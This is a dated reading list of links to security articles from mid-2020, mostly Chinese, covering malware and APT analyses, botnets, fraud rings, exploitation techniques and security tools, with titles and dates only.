[badusb自动下载“邪恶程序”获取所有密码发送到邮箱](https://www.freebuf.com/articles/system/242290.html) - 7.3 [销售额经常破亿有猫腻 揭秘直播行业黑色产业链](https://www.freebuf.com/articles/neopoints/242239.html) - 7.3 [“羊毛党”们最喜欢用的手机号码分析](https://www.freebuf.com/articles/es/242237.html) - 7.3 [被套路4000花呗背后的骗局](https://www.freebuf.com/articles/web/242226.html) - 7.3 [DarkCrewFriends黑客组织攻击分析](https://www.freebuf.com/articles/network/242144.html) - 7.3 [水果博主骗局](https://www.freebuf.com/articles/terminal/240121.html) - 7.4 [隐私合规之大厂初探](https://www.freebuf.com/articles/others-articles/242319.html) - 7.4 [最新“海莲花”样本利用赛门铁克签名文件实施定向攻击](https://www.freebuf.com/articles/system/242313.html) - 7.5 [steam盗号的背后](https://www.freebuf.com/articles/web/242327.html) - 7.6 [SWEED 黑客组织攻击活动分析报告](https://paper.seebug.org/1265/) - 7.6 [North Korean Lazarus APT stole credit card data from US and EU stores](https://securityaffairs.co/wordpress/105582/apt/north-korea-lazarus-apt-e-skimming.html) - 7.6 [UPnP协议CallStranger漏洞影响数百万设备](https://www.freebuf.com/vuls/242386.html) - 7.6 [vbs远控病毒(二)|攻击模拟与取证分析](https://www.freebuf.com/articles/network/242384.html) - 7.6 [黑产大数据:短信拦截手机黑卡近一年暴增30倍](https://www.anquanke.com/post/id/209752) - 7.6 [联发科芯片Rootkit漏洞分析(CVE-2020-0069)](https://www.freebuf.com/vuls/242378.html) - 7.6 [对美国选举中互联网投票应用程序Voatz的安全性分析](https://www.anquanke.com/post/id/209722) - 7.7 [cpython历史漏洞分析及其fuzzer编写](https://www.anquanke.com/post/id/209754) - 7.8 [网络空间的威胁猎杀](https://www.anquanke.com/post/id/209909) - 7.9 [浅析HTTP走私攻击](https://www.anquanke.com/post/id/210036) - 7.9 [Metasploit Framework Handbook(二)](https://www.anquanke.com/post/id/209972) - 7.9 [APT Group Targets Fintech Companies](https://www.databreachtoday.com/apt-group-targets-fintech-companies-a-14590) - 7.9 [An Update for a Very Active DDos Botnet: Moobot](https://blog.netlab.360.com/ddos-botnet-moobot-en/) - 7.9 [思路分享:配置Windows域以动态分析混淆的横向移动工具](https://www.anquanke.com/post/id/210127) - 7.9 [那些年我们一起追过的僵尸网络之Moobot](https://blog.netlab.360.com/moobot/) - 7.9 [Android 中的特殊攻击面(三)—— 隐蔽的 call 函数](https://paper.seebug.org/1269/) - 7.10 [Pre-Installed malware spotted on other Android phones sold in US](https://securityaffairs.co/wordpress/105728/malware/pre-installed-malware-phone.html?utm_source=feedly&utm_medium=rss&utm_campaign=pre-installed-malware-phone) - 7.10 [Joker malware apps bypassed Google’s Play Store security checks](https://securityaffairs.co/wordpress/105712/malware/joker-bypasses-play-store-checks.html?utm_source=feedly&utm_medium=rss&utm_campaign=joker-bypasses-play-store-checks) - 7.10 [套路贷新“靶场”,“租机套现”中介产业藏猫腻](https://www.anquanke.com/post/id/210355) - 7.10 [震网病毒”重现?伊朗纳坦兹核基地神秘爆炸,引动中东新局势](https://www.anquanke.com/post/id/210343) - 7.10 [千面人:Bigviktor 分析报告](https://blog.netlab.360.com/bigviktor-dga-botnet-cn/) - 7.13 [蛇从暗黑中袭来——响尾蛇(SideWinder) APT组织2020年上半年活动总结报告](https://www.anquanke.com/post/id/210404) - 7.13 [Metasploit Framework Handbook(三)](https://www.anquanke.com/post/id/209974) - 7.17 [安卓实现安卓-光速虚拟机技术内幕](https://www.anquanke.com/post/id/211079) - 7.17 [溯源黑帽利用 Web 编辑器漏洞非法植入 SEO 页面事件](https://www.freebuf.com/articles/web/243748.html) - 7.17 [机器学习在小米帐号风控中的应用](https://www.anquanke.com/post/id/210971) - 7.17 [永安在线 | 真人作弊黑灰产研究报告](https://www.anquanke.com/post/id/210880) - 7.17 [New Android BlackRock malware targets hundreds of apps](https://securityaffairs.co/wordpress/106008/malware/android-blackrock-malware.html?utm_source=feedly&utm_medium=rss&utm_campaign=android-blackrock-malware) - 7.18 [Twitter公布大规模账号入侵事件的细节:被社工了](https://www.anquanke.com/post/id/211089) - 7.20 [警惕 BasedMiner 挖矿木马爆破SQL弱口令入侵挖矿](http://hackernews.cc/archives/31407) - 7.20 [BadPower attack corrupts fast chargers to melt or set your device on fire](https://www.zdnet.com/article/badpower-attack-corrupts-fast-chargers-to-melt-or-set-your-device-on-fire/#ftag=RSSbaffb68) - 7.20 [当frida来“敲”门](https://www.secpulse.com/archives/135848.html) - 7.20 [恶意样本分析系列之最新版AgentTesla的迂回加载](https://www.anquanke.com/post/id/211006) - 7.20 [如何使用命令行对无文件恶意软件进行取证](https://www.anquanke.com/post/id/210696) - 7.20 [不可删除的广告软件](https://www.anquanke.com/post/id/211055) - 7.21 [模拟器抓APP数据包](https://www.secpulse.com/archives/135901.html) - 7.22 [业务风险IP情报在社交私信引流场景下的应用](https://www.anquanke.com/post/id/211328) - 7.23 [RangeAMP:利用CDN+Range请求进行的HTTP放大攻击](https://www.secpulse.com/archives/136049.html) - 7.23 [快捷方式暗藏玄机,金融木马EVILNUM再次变种](https://www.freebuf.com/articles/paper/244262.html) - 7.23 [通过ZAT结合机器学习进行威胁检测](https://www.freebuf.com/geek/244263.html) - 7.23 [Welcome Chat间谍软件分析报告](https://www.anquanke.com/post/id/211354) - 7.24 [微信账号贩卖黑灰产如何解决微信登录验证问题?](https://www.anquanke.com/post/id/211751) - 7.24 [了解联邦学习中的分布式投毒攻击](https://www.anquanke.com/post/id/211500) - 7.24 [超过两千万名用户的数据被VPN供应商泄露](https://www.anquanke.com/post/id/211604) - 7.27 [360发布黑灰产研究报告《网络借贷诈骗专项分析》](https://www.anquanke.com/post/id/211965) - 7.27 [朝鲜黑客推出2020最具威胁新型多平台恶意软件框架——MATA](https://www.anquanke.com/post/id/211778) - 7.28 [恶意程序研究之远程下载恶意程序](https://www.secpulse.com/archives/136186.html) - 7.28 [自动化逆向辅助利器 — Capa工具介绍](https://www.secpulse.com/archives/136159.html) - 7.28 [基础架构配置不当致数十家企业资料库源码在互联网上裸奔](http://hackernews.cc/archives/31447) - 7.29 [全国移动App风险监测评估报告](https://www.anquanke.com/post/id/212182) - 7.29 [Google Play上的Joker家族](https://www.anquanke.com/post/id/211978) - 7.30 [卡巴斯基报告:Lazarus APT 组织的大型狩猎游戏](https://paper.seebug.org/1279/) - 7.30 [冰蝎,从入门到魔改](https://www.anquanke.com/post/id/212271) - 7.30 [Hackingtool:一款针对渗透测试人员的多合一测试套件](https://www.freebuf.com/sectool/244997.html) - 7.30 [LokiBot Android银行木马新变种](https://www.anquanke.com/post/id/212117) - 7.31 [打着社交口号的隐私窃取病毒“YoungCircle”](https://www.freebuf.com/articles/terminal/245149.html) - 7.31 [小心你的摄像头](https://www.freebuf.com/articles/terminal/245111.html) - 0x07 - 8.3 [黑吃黑之暗藏njRAT远控木马](https://www.freebuf.com/articles/others-articles/245307.html) - 8.3 [黑吃黑之暗藏njRAT远控木马](https://www.freebuf.com/articles/others-articles/245307.html) - 8.3 [Frida脚本使用](https://www.freebuf.com/articles/terminal/245296.html) - 8.3 [hackrf接收ADS-B飞机信号](https://www.anquanke.com/post/id/212522) - 8.3 [iOS内核单字节利用技术](https://www.anquanke.com/post/id/212530) - 8.4 [以信用卡“包下”为噱头的微信“转账”新骗局](https://www.anquanke.com/post/id/212631) - 8.4 [解决Chrome Hackbar插件损坏问题](https://www.secpulse.com/archives/136661.html) - 8.4 [Hackbar 2.3.1插件许可证限制绕过](https://www.secpulse.com/archives/136669.html) - 8.4 [伪装成抖音国际版Tiktok的短信蠕虫](https://www.freebuf.com/articles/terminal/245540.html) - 8.4 [通过ZAT结合机器学习进行威胁检测(三)](https://www.freebuf.com/articles/es/245516.html) - 8.5 [LLVM(二)obfuscator混淆工具移植llvm-10.0](http://www.gandalf.site/2020/08/llvmobfuscator-llvmllvm-100.html) - 8.5 [macOS(四)10.15 Catalina上编译的坑](http://www.gandalf.site/2020/08/macos1015-catalina.html) - 8.5 [Bulehero 蠕虫病毒安全分析报告](https://paper.seebug.org/1283/) - 8.6 [格物实验室:目标Avtech摄像头,Mirai僵尸网络新一轮攻击来袭](http://blog.nsfocus.net/avtech-botnet-0724/) - 8.7 [WastedLocker勒索软件技术分析](https://www.secpulse.com/archives/136867.html) - 8.7 [Mirai 僵尸网络利用 CVE-2020-5902 漏洞攻击物联网设备](https://paper.seebug.org/1286/) - 8.7 [可以找刺激的不可描述“群”,怪让人脸红心跳的(上)](https://www.anquanke.com/post/id/213385) - 8.8 [BlackRock: Android银行木马新秀](https://www.freebuf.com/articles/paper/245318.html) - 8.8 [研究人员演示了 4 种 HTTP 请求走私攻击的新变种](http://hackernews.cc/archives/31599) - 8.10 [Muhstik 僵尸网络大肆攻击国内云服务器,已有数千台服务器失陷](http://hackernews.cc/archives/31659) - 8.10 [一次对某厂商MacOS客户端软件本地提权漏洞的挖掘与利用](https://www.anquanke.com/post/id/213488) - 8.11 [一起“深空失忆”僵尸网络样本分析](https://www.freebuf.com/articles/terminal/246296.html) - 8.11 [应对UDP反射放大攻击的五种常用防护思路](https://www.freebuf.com/articles/network/246253.html) - 8.11 [APT-SpyMax间谍软件家族追踪](https://www.anquanke.com/post/id/213528) - 8.11 [扫码支付观看色q直播?真相没有那么简单!](https://www.anquanke.com/post/id/213594) - 8.11 [DoppelPaymer勒索软件对Boyce Technologies进行了攻击](https://www.freebuf.com/news/others/246363.html) - 8.12 [安天针对绿斑组织近期APT攻击活动的分析报告](https://www.secpulse.com/archives/137476.html) - 8.12 [IP碎片攻击](https://www.secpulse.com/archives/137477.html) - 8.12 [小步快跑,快速迭代:安全运营的器术法道](https://www.freebuf.com/articles/es/246487.html) - 8.12 [互联网黑产趋势变化:从自动化工具作弊到真人众包作恶](https://www.anquanke.com/post/id/213745) - 8.12 [Bulehero 蠕虫病毒安全分析报告](https://www.freebuf.com/vuls/246422.html) - 8.12 [4.0不惑:验证码与黑产的三生三世](https://www.freebuf.com/articles/network/246380.html) - 8.13 [AgentTesla 间谍木马的新骗术](http://hackernews.cc/archives/31708) - 8.13 [FBI and NSA joint report details APT28’s Linux malware Drovorub](https://securityaffairs.co/wordpress/107112/malware/apt28-drovorub-linux-malware.html?utm_source=feedly&utm_medium=rss&utm_campaign=apt28-drovorub-linux-malware) - 8.13 [Arcane:一款针对iOS包的后门植入工具](https://www.freebuf.com/articles/system/246644.html) - 8.13 [勒索软件分析:WastedLocker技术细节分析](https://www.freebuf.com/articles/database/246633.html) - 8.14 [Bulehero 蠕虫病毒安全分析报告](https://www.anquanke.com/post/id/213824) - 8.14 [APT Group系列——Darkhotel 之中间组件篇](http://blog.nsfocus.net/darkhotel-2-0813/) - 8.14 [如何分析Linux恶意程序](https://www.anquanke.com/post/id/213433) - 8.14 [“匿影”木马升级Rootkit驻留,发展僵尸网络挖矿捞金](https://www.freebuf.com/articles/system/246748.html) - 8.14 [2020年的恶意Tor中继器如何侵占用户利益](https://www.anquanke.com/post/id/214184) - 8.14 [以工作机会为由的钓鱼攻击活动,目标国防航空工业](https://www.freebuf.com/articles/paper/246701.html) - 8.14 [基于安卓设备的Hacking](https://www.freebuf.com/articles/others-articles/246679.html) - 8.14 [“匿影”木马升级Rootkit驻留,发展僵尸网络挖矿捞金](https://www.secpulse.com/archives/137750.html) - 8.14 [人为操控攻击的 Maze 勒索软件](https://paper.seebug.org/1294/) - 8.14 [APP个人隐私数据保护之SDK](https://www.freebuf.com/articles/others-articles/246773.html) - 8.15 [一款带键盘监听的商业窃密马分析](https://www.freebuf.com/news/246796.html) - 8.16 [猫池挖矿事件分析](https://www.freebuf.com/articles/terminal/246830.html) - 8.16 [隔空取“数”:黑客利用HTTP2开展侧信道定时攻击](https://www.freebuf.com/news/246824.html) - 8.17 [冰蝎3.0流量特征分析(附特征)](https://www.freebuf.com/sectool/247009.html) - 8.17 [网络博彩被骗25万余元,远离任何形式的赌博!](https://www.anquanke.com/post/id/214227) - 8.17 [IoT渗透之抓包5法](https://www.freebuf.com/articles/network/246993.html) - 8.17 [百步穿杨-看我如何在APP中getshell](https://www.secpulse.com/archives/137960.html) - 8.17 [CryptON勒索病毒分析](https://www.anquanke.com/post/id/213890) - 8.17 [Mac 恶意软件通过 Xcode 项目传播 滥用 WebKit、Data Vault 漏洞](http://hackernews.cc/archives/31738) - 8.18 [走进黑灰产!揭秘诈骗团伙内部之间是如何联系的](https://www.anquanke.com/post/id/214391) - 8.18 [攻击感知型安全功能链重排序](https://www.anquanke.com/post/id/214338) - 8.19 [新攻击新武器:盲眼鹰 APT 组织最新攻击活动完全分析](https://paper.seebug.org/1297/) - 8.19 [PurpleWave:来自俄罗斯的信息窃取程序](https://paper.seebug.org/1298/) - 8.19 [大发棋牌安全情报](https://www.anquanke.com/post/id/214343) - 8.20 [突现新型P2P僵尸网络,已感染全世界百万台SSH服务器](https://www.freebuf.com/news/247335.html) - 8.20 [美国政府揭露APT38新型后门恶意软件,可自动消除入侵痕迹](https://www.freebuf.com/news/247325.html) - 8.20 [WastedLocker勒索软件分析](https://www.freebuf.com/articles/system/247283.html) - 8.21 [如何编写一份专业的渗透测试报告](https://www.anquanke.com/post/id/215031) - 8.21 [利用 ZoomEye 追踪多种 Redteam C&C 后渗透攻击框架](https://www.anquanke.com/post/id/214897) - 8.21 [Lamphone:一种新的”视觉窃听”技术](https://www.kaspersky.com.cn/blog/black-hat-lamphone/11822/) - 8.22 [Chromium 对 root DNS 流量的影响](https://www.solidot.org/story?sid=65317) - 8.24 [FBI、CISA 对企业虚拟专有网访问凭据攻击“Vishing”带来的威胁发出警告](http://hackernews.cc/archives/31824) - 8.24 [2020版Smokeloader僵尸网络变种分析](https://www.secpulse.com/archives/139287.html) - 8.24 [“透明部落”APT组织携新型武器—USB,向政府和军队发起新一轮攻击](https://www.anquanke.com/post/id/215283) - 8.24 [智能合约中的那些后门漏洞](https://www.anquanke.com/post/id/215033) - 8.24 [基于脚本的恶意软件:IE攻击新趋势](https://www.freebuf.com/articles/system/247526.html) - 8.24 [基于WAF日志的扫描器检测实践](https://www.freebuf.com/articles/network/247466.html) - 8.24 [Nasty malware duo pre-installed on thousands of cheap Android phones](https://www.hackread.com/nasty-malware-duo-pre-installed-cheap-android-phones/) - 8.25 [攻守道—流量分析的刀光剑影(上)](https://www.secpulse.com/archives/139473.html) - 8.25 [攻守道—流量分析的刀光剑影(下)](https://www.secpulse.com/archives/139504.html) - 8.25 [macos下hackrf one环境搭建](https://www.freebuf.com/sectool/247864.html) - 8.25 [以法律和金融组织为目标的 DeathStalker APT](https://paper.seebug.org/1312/) - 8.25 [首个渗透到iOS生态系统的恶意SDK,秘密访问1000+iOS APP](https://www.freebuf.com/news/247823.html) - 8.25 [macOS下宏攻击的复现与研究](https://paper.seebug.org/1307/) - 8.25 [性感“注入”,在线“发牌”](https://www.secpulse.com/archives/139393.html) - 8.25 [犯罪团伙日益猖獗,Grandoreiro银行木马冒充西班牙税务机构](https://www.freebuf.com/news/247764.html) - 8.26 [mac中frida调试系统程序设置(关闭虚拟机mac的sip)](https://www.52pojie.cn/thread-1254131-1-1.html) - 8.26 [“卖片党”的画皮术,深扒色情产业背后的生存“秘钥”](https://www.anquanke.com/post/id/215346) - 8.26 [黑灰产短信拦截卡与宽带IP近期数据简介](https://www.anquanke.com/post/id/215421) - 8.26 [慢雾:YFValue,一行代码如何锁定上亿资产](https://www.freebuf.com/articles/neopoints/247856.html) - 8.27 [APT组织利用Autodesk 3D Max软件进行工业间谍活动](https://www.freebuf.com/news/247969.html) - 8.28 [红日靶场——ATT&CK红队实战(一)学习笔记](https://www.freebuf.com/articles/web/248183.html) - 8.28 [对安全消息传递应用程序的实际流量分析攻击](https://www.freebuf.com/articles/network/248192.html) - 8.28 [海康萤石智能门锁的网关分析](https://paper.seebug.org/1320/) - 8.28 [FireWalker:一种绕过用户空间EDR Hooking的新方法](https://www.anquanke.com/post/id/215178) - 8.28 [Iranian Hackers Pose as Journalists to Trick Victims Into Installing Malware](http://feedproxy.google.com/~r/TheHackersNews/~3/SlFF9FYAUqI/hackers-journalist-malware.html) - 8.31 [为精准用户画像,恶意 npm 软件包窃取浏览器文件](http://hackernews.cc/archives/31919) - 8.31 [七夕—一例海莲花(OceanLotus)的恶意样本分析](https://www.anquanke.com/post/id/215169) - 8.31 [漏洞挖掘的艺术-面向源码的静态漏洞挖掘](https://www.freebuf.com/articles/network/248215.html) - 8.31 [“云养殖”资金盘听过吗?千人被骗的血本无归!](https://www.anquanke.com/post/id/215920) - 8.31 [揭秘美军网络战七大武器系统](https://www.freebuf.com/articles/network/248336.html) - 8.31 [Android Users Bugged by Fake Popups](https://www.infosecurity-magazine.com/news/android-users-bugged-by-fake-popups/) - 0x08 - 9.1 [Cetus:针对 Docker daemons 的加密劫持蠕虫](https://paper.seebug.org/1322/) - 9.2 [Android security: Six more apps containing Joker malware removed from the Google Play Store](https://www.zdnet.com/article/android-security-six-more-apps-containing-joker-malware-removed-from-the-google-play-store/#ftag=RSSbaffb68) - 9.2 [跨平台挖矿木马 MrbMiner 已控制上千台服务器](http://hackernews.cc/archives/31948) - 9.3 [跨平台挖矿木马MrbMiner已控制上千台服务器](https://www.freebuf.com/articles/system/248650.html) - 9.3 [TEAM TNT:窃取AWS凭证的加密货币挖矿蠕虫](https://www.secpulse.com/archives/140346.html) - 9.3 [新型信用卡窃密工具出现,黑客利用Telegram提取数据](https://www.freebuf.com/news/248610.html) - 9.3 [漏洞挖掘的艺术-面向二进制的静态漏洞挖掘](https://www.freebuf.com/articles/network/248487.html) - 9.3 [SQL注入漏洞浅析及防御](https://www.freebuf.com/vuls/248577.html) - 9.4 [Evilnum APT used Python-based RAT PyVil in recent attacks](https://securityaffairs.co/wordpress/107890/apt/evilnum-apt-pyvil-rat.html?utm_source=feedly&utm_medium=rss&utm_campaign=evilnum-apt-pyvil-rat) 9.7 [疑似 KimsukyAPT 组织最新攻击活动样本分析](https://www.anquanke.com/post/id/216589) - 9.4 [PDF文件密码破解](https://www.freebuf.com/articles/database/248775.html) - 9.7 [黑灰产明码标价倒卖微信群二维码,个人信息遭泄露](https://www.anquanke.com/post/id/216613) - 9.7 [WhatsApp现神秘漏洞,黑客可远程查看聊天记录](https://www.anquanke.com/post/id/216843) - 9.7 [记一次简单的win提权](https://www.freebuf.com/articles/network/248953.html) - 9.7 [Excel文档暗藏危机?黑客利用.NET库生成恶意文件可绕过安全检测](https://www.freebuf.com/news/248942.html) - 9.7 [一次对电视盒子的漏洞分析](https://www.freebuf.com/vuls/246128.html) - 9.7 [Evilnum 黑客使用新的基于Python的木马攻击金融公司](http://hackernews.cc/archives/32023) - 9.8 [新的 PIN 验证绕过漏洞影响 Visa 非接触式支付](http://hackernews.cc/archives/32051) - 9.8 [藏在二手平台里的交易“暗语”,招嫖、博彩引流别有洞天](https://www.anquanke.com/post/id/216815) - 9.8 [手把手教你 | 某办公软件PDF阅读器漏洞挖掘及Crash分析](https://www.freebuf.com/vuls/249130.html) - 9.8 [【流行威胁追踪】深度分析阿瓦顿(Avaddon)勒索软件](https://www.freebuf.com/articles/others-articles/249109.html) - 9.8 [基于RNN的分类器利用局部特征和复杂符号序列检测隐蔽的恶意软件](https://www.anquanke.com/post/id/216483) - 9.8 [Thanos 勒索软件:针对中东和北非国有组织的破坏性变体](https://paper.seebug.org/1330/) - 9.8 [APT Group系列——Darkhotel之窃密与RAT篇](http://blog.nsfocus.net/darkhotel-3-0908/) - 9.9 [SROP攻击原理及例题解析](https://www.anquanke.com/post/id/217081) - 9.9 [Ghidra入门指南(上)](https://www.secpulse.com/archives/140660.html) - 9.9 [Ghidra入门指南(下)](https://www.secpulse.com/archives/140673.html) - 9.10 [攻击者滥用合法的云监控工具进行网络攻击](https://paper.seebug.org/1333/) - 9.10 [一次opencanary自定义实践](https://www.freebuf.com/sectool/249241.html) - 9.10 [一部手机失窃而揭露的窃取个人信息实现资金盗取的黑色产业链](https://www.freebuf.com/articles/network/249294.html) - 9.10 [某办公软件PDF阅读器漏洞挖掘及Crash分析](https://www.anquanke.com/post/id/216999) - 9.10 [攻击者滥用合法的云监控工具进行网络攻击](http://hackernews.cc/archives/32063) - 9.11 [SK海力士和LG电子遭勒索组织攻击,机密信息或被逐步公开](https://www.freebuf.com/news/249448.html) - 9.11 [盗窃手机盗刷银行卡黑色产业链案件之后续进展](https://www.freebuf.com/articles/network/249438.html) - 9.11 [Mykings 僵尸网络新变种通过 PcShare 远程控制,已感染超 5 万台电脑挖矿](http://hackernews.cc/archives/32075) - 9.11 [CVE-2020-0069:联发科最稳定的 Rootkit 解构](https://www.anquanke.com/post/id/217231) - 9.13 [伏影实验室:一次定向攻击事件快速分析](http://blog.nsfocus.net/cobalt-strike-phishing-0913/) - 9.14 [新的 Linux 恶意软件从 VoIP 软交换系统窃取通话详细信息](http://hackernews.cc/archives/32116) - 9.14 [EDT:入侵检测设备安全能力测试](https://www.freebuf.com/sectool/249373.html) - 9.14 [安卓activity劫持测试工具开发](https://www.freebuf.com/sectool/249725.html) - 9.14 [2020上半年勒索软件占所有网络保险索赔金额的41%](https://www.freebuf.com/news/249700.html) - 9.14 [我用三个月时间,深入挖掘一条涉案金额上亿的黑色诈骗产业链](https://www.freebuf.com/articles/network/249655.html) - 9.14 [APT组织的下一个目标:Linux](https://www.freebuf.com/news/249640.html) - 9.14 [带你快速了解Linux ARM及其应用保护](https://www.freebuf.com/articles/terminal/249638.html) - 9.15 [半夜潜入诈骗团伙内部,才明白为什么兼职刷单总被骗钱](https://www.anquanke.com/post/id/217388) - 9.15 [OpBlueRaven:揭露APT组织 Fin7 / Carbanak之Tirion恶意软件](https://paper.seebug.org/1335/) - 9.15 [勒索团伙追踪:Avaddon的发展历程](https://www.secpulse.com/archives/140919.html) - 9.15 [Potato家族本地提权分析](https://www.anquanke.com/post/id/217397) - 9.15 [90后程序员“黑吃黑”获利数百万 阿里安全协助警方破获黑客大案](https://www.freebuf.com/news/249854.html) - 9.15 [DeFi 项目 bZx-iToken 盗币事件分析](https://www.anquanke.com/post/id/217358) - 9.16 [Source code of Cerberus banking Trojan leaked on underground forums](https://securityaffairs.co/wordpress/108373/cyber-crime/cerberus-source-code-leaked.html?utm_source=feedly&utm_medium=rss&utm_campaign=cerberus-source-code-leaked) - 9.16 [热门黑产工具分析01:利用集鞋卡活动进行牟利的“追鞋人”](https://www.anquanke.com/post/id/217466) - 9.16 [“挖洞神器” 资产安全灯塔(ARL) 正式开源](https://www.freebuf.com/articles/es/249956.html) - 9.16 [“THIEF BOT”银行木马,针对土耳其银行的恶意攻击](https://www.anquanke.com/post/id/217476) - 9.16 [深入研究SOAR的核心能力——安全编排与自动化](https://www.sec-un.org/%e6%b7%b1%e5%85%a5%e7%a0%94%e7%a9%b6soar%e7%9a%84%e6%a0%b8%e5%bf%83%e8%83%bd%e5%8a%9b-%e5%ae%89%e5%85%a8%e7%bc%96%e6%8e%92%e4%b8%8e%e8%87%aa%e5%8a%a8%e5%8c%96/) - 9.16 [New MrbMiner malware has infected thousands of MSSQL databases](https://www.zdnet.com/article/new-mrbminer-malware-has-infected-thousands-of-mssql-databases/#ftag=RSSbaffb68) - 9.16 [Doctor Web’s August 2020 overview of malware detected on mobile devices](https://news.drweb.com/show/?i=13991&lng=en&c=5) - 9.17 [新兴的URSA木马使用复杂的加载程序影响了许多国家](https://paper.seebug.org/1338/) - 9.17 [数十亿设备面临 BLESA 低功耗蓝牙重连欺骗攻击的安全威胁](http://hackernews.cc/archives/32176) - 9.17 [US charges APT 41 group members for hacking over 100 companies](https://www.hackread.com/apt41-hackers-chared-hacking-100-companies/) - 9.18 [97% 的网络安全公司在暗网上泄露了数据](http://hackernews.cc/archives/32216) - 9.18 [Iranian hacker group developed Android malware to steal 2FA SMS codes](https://www.zdnet.com/article/iranian-hacker-group-developed-android-malware-to-steal-2fa-sms-codes/#ftag=RSSbaffb68) - 9.18 [Android 11 — 5 New Security and Privacy Features You Need to Know](http://feedproxy.google.com/~r/TheHackersNews/~3/k7U3jsgD2Y0/android-11-security-privacy.html) - 9.18 [关键基础设施中基于AI的入侵检测技术的比较研究(二)](https://www.anquanke.com/post/id/217692) - 9.18 [HW平安夜: 09/14 快乐源泉](https://www.secpulse.com/archives/141154.html) - 9.18 [苦象组织近期网络攻击活动及泄露武器分析](https://www.secpulse.com/archives/141090.html) - 9.18 [季风行动——蔓灵花(APT-C-08)组织大规模钓鱼攻击活动披露](https://www.anquanke.com/post/id/217734) - 9.19 [A Bug Could Let Attackers Hijack Firefox for Android via Wi-Fi Network](http://feedproxy.google.com/~r/TheHackersNews/~3/q-dRKh06seo/firefox-android-wifi-hacking.html) - 9.20 [Mozi Botnet is responsible for most of the IoT Traffic](https://securityaffairs.co/wordpress/108537/malware/mozi-botnet-iot-traffic.html?utm_source=feedly&utm_medium=rss&utm_campaign=mozi-botnet-iot-traffic) - 9.21 [ATT&CK战术入门与案例解析​](https://www.anquanke.com/post/id/218143) - 9.21 [一场针对伊朗的为期6年的网络间谍活动](https://www.freebuf.com/news/250401.html) - 9.21 [Dofloo(AESDDoS)僵尸网络正批量扫描、攻击 Docker 容器](http://hackernews.cc/archives/32230) - 9.21 [HW|蓝队实战溯源反制手册分享](https://www.secpulse.com/archives/141438.html) - 9.21 [Meh 恶意程序窃取用户密码](https://paper.seebug.org/1340/) - 9.21 [一款由非PE加载起来的新型KeyLogger分析](https://www.anquanke.com/post/id/217794) - 9.21 [BypassUAC原理及方法汇总](https://www.anquanke.com/post/id/216808) - 9.21 [2020上半年勒索软件洞察报告](https://www.secpulse.com/archives/141248.html) - 9.21 [隐私窃贼病毒分析报告](https://www.anquanke.com/post/id/217773) - 9.21 [攻击者利用漏洞可以通过 Wi-Fi 网络劫持 Android 版 Firefox](http://hackernews.cc/archives/32245) - 9.21 [伊朗黑客组织开发 Android 恶意软件用于窃取双因素验证短信](http://hackernews.cc/archives/32224) - 9.21 [ATT&CK战术入门与案例解析​](https://www.anquanke.com/post/id/218143) - 9.22 [Dridex木马新变种来袭,小心来历不明的邮件!](https://www.secpulse.com/archives/141467.html) - 9.22 [赌博团伙利用拼多多等平台跨境洗钱](https://www.solidot.org/story?sid=65595) - 9.23 [APT28 组织利用北约主题作为诱饵进行 Zebrocy 恶意软件攻击](https://paper.seebug.org/1344/) - 9.23 [Looking for sophisticated malware in IoT devices](https://securelist.com/looking-for-sophisticated-malware-in-iot-devices/98530/) - 9.24 [Alien Android banking Trojan, the powerful successor of the Cerberus malware](https://securityaffairs.co/wordpress/108706/malware/alien-bankingtrojan.html?utm_source=feedly&utm_medium=rss&utm_campaign=alien-bankingtrojan) - 9.24 [Hacking All The Cars - Tesla 远程API分析与利用(上)](https://www.anquanke.com/post/id/218396) - 9.25 [SQL注入之堆叠注入](https://www.freebuf.com/articles/web/250705.html) - 9.25 [通过第三方框架注入macOS](https://www.anquanke.com/post/id/218373) - 9.25 [幽灵在行动:Specter分析报告](https://blog.netlab.360.com/malware-specter-report/) - 9.25 [透明部落APT组织的木马分析](https://www.freebuf.com/articles/system/250709.html) - 9.25 [专项行动的意外收获—— 2020 年 9 月墨子(Mozi)僵尸网络分析报告](https://paper.seebug.org/1347/) - 9.25 [FinSpy Spyware for Mac and Linux OS Targets Egyptian Organisations](http://feedproxy.google.com/~r/TheHackersNews/~3/fhy144gxoUE/finspy-malware-macos-linux.html) - 9.27 [Soda项目智能合约安全漏洞分析](https://www.anquanke.com/post/id/218372) - 9.28 [AI框架安全依旧堪忧:360 AI安全研究院披露Tensorflow 24个漏洞](https://www.anquanke.com/post/id/218839) - 9.28 [内网流量规避](https://www.secpulse.com/archives/142017.html) - 9.28 [ADLab 针对新型黑客组织“海毒蛇”深度追踪与分析](https://paper.seebug.org/1350/) - 9.29 [360权威发布《2020上半年中国手机安全状况报告》](https://www.anquanke.com/post/id/218882) - 9.29 [使用VSCode远程调试恶意Powershell脚本](https://www.secpulse.com/archives/142385.html) - 9.29 [美国爱因斯坦计划跟踪与解读(2020)](https://www.freebuf.com/news/251208.html) - 9.30 [工具|Shiro漏洞一键检测利用工具ShiroExploit](https://www.secpulse.com/archives/142504.html) - 9.30 [https://www.freebuf.com/articles/web/251313.html](https://www.freebuf.com/articles/web/251313.html) - 9.30 [samsung漏洞挖掘](https://www.anquanke.com/post/id/218615) - 9.30 [Ttint: 一款通过2个0-day漏洞传播的IoT远控木马](https://blog.netlab.360.com/ttint-an-iot-rat-uses-two-0-days-to-spread/) - 9.30 [Chinese APT Group Targets Media, Finance, and Electronics Sectors](http://feedproxy.google.com/~r/TheHackersNews/~3/wh2XBxlWGzo/chinese-apt-group-targets-media-finance.html) - 0x09 - 10.1 [New malware found targeting IoT devices, Android TV globally](https://www.hackread.com/malware-targets-iot-devices-android-tv/) - 10.2 [IPStorm botnet evolves to infect Android, Linux, and Mac devices](https://securityaffairs.co/wordpress/109024/malware/ipstorm-botnet-evolves.html?utm_source=feedly&utm_medium=rss&utm_campaign=ipstorm-botnet-evolves) - 10.2 [XDSpy APT remained undetected since at least 2011](https://securityaffairs.co/wordpress/109015/apt/xdspy-apt-group.html?utm_source=feedly&utm_medium=rss&utm_campaign=xdspy-apt-group) - 10.5 [UEFI malware rears ugly head again: Kaspersky uncovers campaign with whiff of China](https://go.theregister.com/feed/www.theregister.com/2020/10/05/uefi_rootkit_kaspersky_china/) - 10.7 [ESET披露自从2011年开始活跃的新APT组织XDSpy](https://www.freebuf.com/news/251422.html) - 10.7 [FANS: Fuzzing Android Native System Services via Automated Interface Analysis](https://loccs.sjtu.edu.cn/gossip//blog/2020/08/14/fans-fuzzing-android-native-system-services-via-automated-interface-analysis/) - 10.7 [Characterizing Android App Signing 